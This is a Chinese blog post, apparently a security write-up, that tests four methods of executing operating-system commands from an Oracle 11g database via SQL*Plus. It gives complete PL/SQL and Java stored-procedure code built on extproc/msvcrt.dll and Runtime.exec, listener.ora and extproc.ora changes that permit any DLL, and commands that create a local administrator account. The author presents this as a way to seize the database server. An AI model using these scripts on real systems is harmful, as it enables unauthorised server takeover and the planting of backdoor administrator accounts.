• oracle执行cmd的实现方法


    网络上找到的在sqlplus中执行cmd的一些命令,主要有四种方法,这边都做了一下测试,这里做一下记录:

    测试环境:window2003+Oracle 11.2.0.1.0

    第一种方法:

    最简单的执行cmd命令方法,但执行的本机的cmd命令,非数据库系统的cmd命令,故和本机打开cmd命令一样,貌似没什么用。

    C:wmpub>sqlplus system/QWEasd123@testdb
    
    SQL*Plus: Release 11.2.0.1.0 Production on 星期一 10月 31 20:37:51 2016
    
    Copyright (c) 1982, 2010, Oracle.  All rights reserved.
    
    
    连接到:
    Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
    With the Partitioning, OLAP, Data Mining and Real Application Testing options
    
    SQL> host net user
    
    \TEST1 的用户帐户
    
    -------------------------------------------------------------------------------
    Administrator            Guest                    SUPPORT_388945a0
    命令成功完成。
    

    第二种方法:

    利用msvcrt.dll

    1、新建一个oracle.sql文件,保存如下内容:

    Rem
    Rem oracmd.sql
    Rem
    Rem Run system commands via Oracle database servers
    Rem
    Rem Bugs to david@ngssoftware.com
    Rem
    CREATE OR REPLACE LIBRARY exec_shell AS
    'C:windowssystem32msvcrt.dll';
    /
    show errors
    CREATE OR REPLACE PACKAGE oracmd IS
    PROCEDURE exec (cmdstring IN CHAR);
    end oracmd;
    /
    show errors
    CREATE OR REPLACE PACKAGE BODY oracmd IS
    PROCEDURE exec(cmdstring IN CHAR)
    IS EXTERNAL
    NAME "system" LIBRARY exec_shell
    LANGUAGE C;
    end oracmd;
    /
    show errors
    

    2、执行oracle.sql,进一步执行cmd命令,然而却报错,默认安装情况下,用这种方法应该是没办法执行成功的,如果有高手成功的话,方便告知一下。

    SQL> @oracle.sql
    
    库已创建。
    
    没有错误。
    
    程序包已创建。
    
    没有错误。
    
    程序包体已创建。
    
    没有错误。
    SQL> exec oracmd.exec ('dir > c:oracle.txt');
    BEGIN oracmd.exec ('dir > c:oracle.txt'); END;
    
    *1 行出现错误:
    ORA-28595: Extproc 代理: DLL 路径无效
    ORA-06512: 在 "SYSTEM.ORACMD", line 2
    ORA-06512: 在 line 1

    3、修改oracle配置

    在C:appAdministratorproduct11.2.0dbhome_1NETWORKADMINlistener.ora

    # listener.ora Network Configuration File: C:appAdministratorproduct11.2.0dbhome_1NETWORKADMINlistener.ora
    # Generated by Oracle configuration tools.
    
    SID_LIST_LISTENER =
      (SID_LIST =
        (SID_DESC =
          (SID_NAME = CLRExtProc)
          (ORACLE_HOME = C:appAdministratorproduct11.2.0dbhome_1)
          (PROGRAM = extproc)
          (ENVS = "EXTPROC_DLLS=ONLY:C:appAdministratorproduct11.2.0dbhome_1inoraclr11.dll")
        )
        (SID_DESC =
          (GLOBAL_DBNAME = testdb)
          (ORACLE_HOME = C:appAdministratorproduct11.2.0dbhome_1)
          (SID_NAME = testdb)
        )
      )

    修改ENVS,为ANY

       (SID_DESC =
          (SID_NAME = CLRExtProc)
          (ORACLE_HOME = C:appAdministratorproduct11.2.0dbhome_1)
          (PROGRAM = extproc)
          (ENVS = "EXTPROC_DLLS=ANY")
        )

    在C:appAdministratorproduct11.2.0dbhome_1hsadminextproc.ora

    将最后一行

    SET EXTPROC_DLLS=

    改为

    SET EXTPROC_DLLS=ANY

    4、重新执行

    SQL> exec oracmd.exec ('net user xiaozi xiaozi /add');
    
    PL/SQL 过程已成功完成。

    这时候命令已成功执行,这招可以用来创建数据库服务器管理员账号密码以及进一步操作,然而默认配置执行不成功实在蛋疼,除非哪个谁已经改了。

    第三种:

    新建1.sql

    create or replace and compile
    java souRCe named "util"
    as
    import java.io.*;
    import java.lang.*;
    public class util extends Object
    {
    public static int RunThis(String args)
    {
    Runtime rt = Runtime.getRuntime();
    int RC = -1;
    try
    {
    Process p = rt.exec(args);
    int bufSize = 4096;
    BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
    int len;
    byte buffer[] = new byte[bufSize];
    // Echo back what the program spit out
    while ((len = bis.read(buffer, 0, bufSize)) != -1)
    System.out.write(buffer, 0, len);
    RC = p.waitFor();
    }
    catch (Exception e)
    {
    e.printStackTrace();
    RC = -1;
    }
    finally
    {
    return RC;
    }
    }
    }
    

    新建2.sql

    create or replace
    function run_cmd(p_cmd in varchar2) return number
    as
    language java
    name 'util.RunThis(java.lang.String) return integer';
    

    新建3.sql

    create or replace procedure RC(p_cmd in varChar)
    as
    x number;
    begin
    x := run_cmd(p_cmd);
    end;

    登陆上去后依旧是依次执行

    SQL> @1.sql
     35  /
    
    Java 已创建。
    
    SQL> @2.sql
      6  /
    
    函数已创建。
    
    SQL> @3.sql
      7  /
    
    过程已创建。
    
    SQL>
    SQL> variable x number;
    SQL> set serveroutput on;
    SQL> exec dbms_java.set_output(100000); SQL> grant javasyspriv to system; PL/SQL 过程已成功完成。 SQL> exec :x:=run_cmd('ipconfig'); Windows IP Configuration Ethernet adapter 本地连接: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.91.130 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.91.1 PL/SQL 过程已成功完成。

    本机测试成功,拿到oracle账号,提升至dba权限,可以考虑使用这种方法拿下服务器。

    下面整成一个sql文件,只需执行一步,即可获取数据库ip和管理员列表

    create or replace and compile
    java souRCe named "util"
    as
    import java.io.*;
    import java.lang.*;
    public class util extends Object
    {
    public static int RunThis(String args)
    {
    Runtime rt = Runtime.getRuntime();
    int RC = -1;
    try
    {
    Process p = rt.exec(args);
    int bufSize = 4096;
    BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
    int len;
    byte buffer[] = new byte[bufSize];
    // Echo back what the program spit out
    while ((len = bis.read(buffer, 0, bufSize)) != -1)
    System.out.write(buffer, 0, len);
    RC = p.waitFor();
    }
    catch (Exception e)
    {
    e.printStackTrace();
    RC = -1;
    }
    finally
    {
    return RC;
    }
    }
    }
    /
    
    create or replace
    function run_cmd(p_cmd in varchar2) return number
    as
    language java
    name 'util.RunThis(java.lang.String) return integer';
    
    /
    create or replace procedure RC(p_cmd in varChar)
    as
    x number;
    begin
    x := run_cmd(p_cmd);
    end;
    /
    
    variable x number;
    set serveroutput on;
    exec dbms_java.set_output(100000);
    grant javasyspriv to system;
    exec :x:=run_cmd('ipconfig');
    exec :x:=run_cmd('net1 user');

     登陆进去执行执行脚本

    SQL> @java.sql
    
    Java 已创建。
    
    
    函数已创建。
    
    
    过程已创建。
    
    
    PL/SQL 过程已成功完成。
    
    
    授权成功。
    
    
    Windows IP Configuration
    
    
    Ethernet adapter 本地连接:
    
    Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . . . . . . . . : 192.168.91.130
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 192.168.91.1
    
    PL/SQL 过程已成功完成。
    
    User accounts for \
    -------------------------------------------------------------------------------
    Administrator            Guest                    SUPPORT_388945a0
    xiaozi123
    The command completed with one or more errors.
    
    PL/SQL 过程已成功完成。

     第四种:

    通过Java运行OS命令

    CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS
    import java.lang.*;
    import java.io.*;
    public class JAVACMD
    {
    public static void execCommand (String command) throws IOException
    {
    Runtime.getRuntime().exec(command);
    }
    };
    /
    CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
    AS LANGUAGE JAVA
    NAME 'JAVACMD.execCommand (java.lang.String)';
    /
    exec javacmdproc('cmd.exe /c net user xiaozi 123 /add');
    exec javacmdproc('cmd.exe /c net localgroup administrators xiaozi /add');

    账号创建成功,如下图:

    不同的方法需要不同的权限要求,dba权限下,无视。

     第三第四种方法需要有javasyspriv才能正确执行

    SQL> grant javasyspriv to scott;

    SQL> revoke javasyspriv from scott;

    最后

    欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

    参考文章:

    ORACLE提权:http://blog.csdn.net/heiyoubei513/article/details/4009377

    Oracle 10g版本SCOTT用户提升DBA权限实战图文:http://niuzu.blog.51cto.com/3006825/607657/

  • 相关阅读:
    修改ecshop的100种技巧
    解决ecshop后台生成菜单出现乱码的问题
    记录搜索历史ecshop
    ecshop 收货人信息电话必填改为手机必填
    ecshop 后台goods表添加字段
    想想而已。。。
    微信网页第三方登录原理
    Linux kprobe初探
    bcc-tools工具之profile
    归并排序c语言
  • 原文地址:https://www.cnblogs.com/xiaozi/p/6017322.html
Copyright © 2020-2023  润新知